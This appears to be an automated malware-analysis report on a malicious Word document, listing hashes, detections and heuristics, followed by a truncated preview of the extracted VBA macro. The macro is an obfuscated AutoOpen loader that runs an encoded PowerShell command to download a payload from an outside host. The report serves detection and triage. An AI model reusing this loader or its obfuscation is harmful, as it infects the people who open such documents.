Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 562802904943ad8b…

MALICIOUS

Office (OLE)

168.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: 97e5e88dcc6616d10bfc2f7569624c84 SHA-1: 581effb4180cd46e1c19ab233b32112782adb50b SHA-256: 562802904943ad8bb00dbb9837a1cafa5de0d0cfd14a48f28a013f18dee78052
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a critical heuristic for an obfuscated auto-exec VBA loader, specifically an AutoOpen macro. This macro is designed to execute a command-line payload. The reconstructed command is 'dx /c pwrsHll /c KABOAGUAdwAtAE8AQQBkAE8AdwB0AEUAdwA5AEIAYwBBAA==', which likely downloads and executes a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Malware.Sagent-6697295-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6697295-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 62558 bytes
SHA-256: 436404c00d3718b02ddd71159770bc9f28c53281fd4532c8f14d0676f864e1b5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const voVyPaBYvyiNoCYketuBAVOi = 0
Sub AutoOpen()
On Error Resume Next
ZeqYKeVEBywYrebvEzEhYHhYtAgofUPoPectOkW = "d." + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "x" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + " /c p^O^w^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^R^s^H^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^L^L^.^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^x^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^A^y^A^D^g^A^Z^Q^A^5^A^G^U^A^M^A^B^3^A^H^U^A^b^w^B^x^A^H^c^A^b^w^B^l^A^D^k^A^M^g^A^w^A^G^U^A^a^Q^A^u^A^G^M^A^b^w^B^t^A^C^8^A^T^Q^B^Y^A^E^U^A^L^w^B^s^A^G^8^A^Z^A^B^w^A^G^8^A^c^w^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A"
Dim VeiotUcalUtoavyKaVAVUMUFiQifIsIXaKiCa(4)

If 11 = 11 + (10 * 0) Then
VeiotUcalUtoavyKaVAVUMUFiQifIsIXaKiCa(0) = CLng(8437)
End If
VeiotUcalUtoavyKaVAVUMUFiQifIsIXaKiCa(1) = Sqr(10)
VeiotUcalUtoavyKaVAVUMUFiQifIsIXaKiCa(2) = Month(84378437)
VeiotUcalUtoavyKaVAVUMUFiQifIsIXaKiCa(3) = Fix(8437.1)
Dim juNEKpYJogcyHuhoiqOFOKUjtip(4)

If 13 = 13 + (9 * 0) Then
juNEKpYJogcyHuhoiqOFOKUjtip(0) = CLng(8076)
Dim qEQnUhEsJAmUGohiSOCOWoBOMulInAxEsyTUgYSu(4)

If 12 = 12 + (6 * 0) Then
qEQnUhEsJAmUGohiSOCOWoBOMulInAxEsyTUgYSu(0) = CLng(7403)
End If
qEQnUhEsJAmUGohiSOCOWoBOMulInAxEsyTUgYSu(1) = Sqr(6)
qEQnUhEsJAmUGohiSOCOWoBOMulInAxEsyTUgYSu(2) = Month(74037403)
qEQnUhEsJAmUGohiSOCOWoBOMulInAxEsyTUgYSu(3) = Fix(7403.6)
Dim FExByCYLofUpoObEDoLenmijAWGAjidIVYKI(4)

If 10 = 10 + (5 * 0) Then
FExByCYLofUpoObEDoLenmijAWGAjidIVYKI(0) = CLng(3149)
End If
FExByCYLofUpoObEDoLenmijAWGAjidIVYKI(1) = Sqr(5)
FExByCYLofUpoObEDoLenmijAWGAjidIVYKI(2) = Month(31493149)
FExByCYLofUpoObEDoLenmijAWGAjidIVYKI(3) = Fix(3149.5)
End If
Dim CeaadAprutYsYjEiEpEmlinEKeitorf(4)

If 11 = 11 + (10 * 0) Then
CeaadAprutYsYjEiEpEmlinEKeitorf(0) = CLng(3980)
End If
CeaadAprutYsYjEiEpEmlinEKeitorf(1) = Sqr(10)
CeaadAprutYsYjEiEpEmlinEKeitorf(2) = Month(39803980)
CeaadAprutYsYjEiEpEmlinEKeitorf(3) = Fix(3980.1)
Dim RONcUmUdYPdOyXvupiZUgUtOaOBU(4)

If 10 = 10 + (10 * 0) Then
RONcUmUdYPdOyXvupiZUgUtOaOBU(0) = CLng(3535)
End If
RONcUmUdYPdOyXvupiZUgUtOaOBU(1) = Sqr(10)
RONcUmUdYPdOyXvupiZUgUtOaOBU(2) = Month(35353535)
RONcUmUdYPdOyXvupiZUgUtOaOBU(3) = Fix(3535.1)
juNEKpYJogcyHuhoiqOFOKUjtip(1) = Sqr(9)
juNEKpYJogcyHuhoiqOFOKUjtip(2) = Month(80768076)
juNEKpYJogcyHuhoiqOFOKUjtip(3) = Fix(8076.9)
Dim WEtudYqIBACUjaytOlAnUQxugYWYWOV(4)

If 11 = 11 + (2 * 0) Then
WEtudYqIBACUjaytOlAnUQxugYWYWOV(0) = CLng(719)
End If
WEtudYqIBACUjaytOlAnUQxugYWYWOV(1) = Sqr(2)
WEtudYqIBACUjaytOlAnUQxugYWYWOV(2) = Month(719719)
WEtudYqIBACUjaytOlAnUQxugYWYWOV(3) = Fix(719.2)
Dim jErifOROGAvydaxEMUllUnopIWAdExOhOmruP(4)
Dim FewEPUMujEcilidUCyMIDaMNiXgOiAJyJa(4)

If 12 = 12 + (6 * 0) Then
FewEPUMujEcilidUCyMIDaMNiXgOiAJyJa(0) = CLng(2744)
End If
FewEPUMujEcilidUCyMIDaMNiXgOiAJyJa(1) = Sqr(6)
FewEPUMujEcilidUCyMIDaMNiXgOiAJyJa(2) = Month(27442744)
FewEPUMujEcilidUCyMIDaMNiXgOiAJyJa(3) = Fix(2744.6)

If 12 = 12 + (8 * 0) Then
Dim pyraRuxoUCUtupuWXapuFoiUCicomYNewi(4)

If 10 = 10 + (5 * 0) Then
pyraRuxoUCUtupuWXapuFoiUCicomYNewi(0) = CLng(168)
End If
pyraRuxoUCUtupuWXapuFoiUCicomYNewi(1) = Sqr(5)
pyraRuxoUCUtupuWXapuFoiUCicomYNewi(2) = Month(168168)
pyraRuxoUCUtupuWXapuFoiUCicomYNewi(3) = Fix(168.5)
Dim kijoquBImAxykWajcEiysUnAluGuZuLErY(4)

If 11 = 11 + (7 * 0) Then
kijoquBImAxykWajcEiysUnAluGuZuLErY(0) = CLng(9234)
End If
kijoquBImAxykWajcEiysUnAluGuZuLErY(1) = Sqr(7)
kijoquBImAxykWajcEiysUnAluGuZuLErY(2) = 
... (truncated)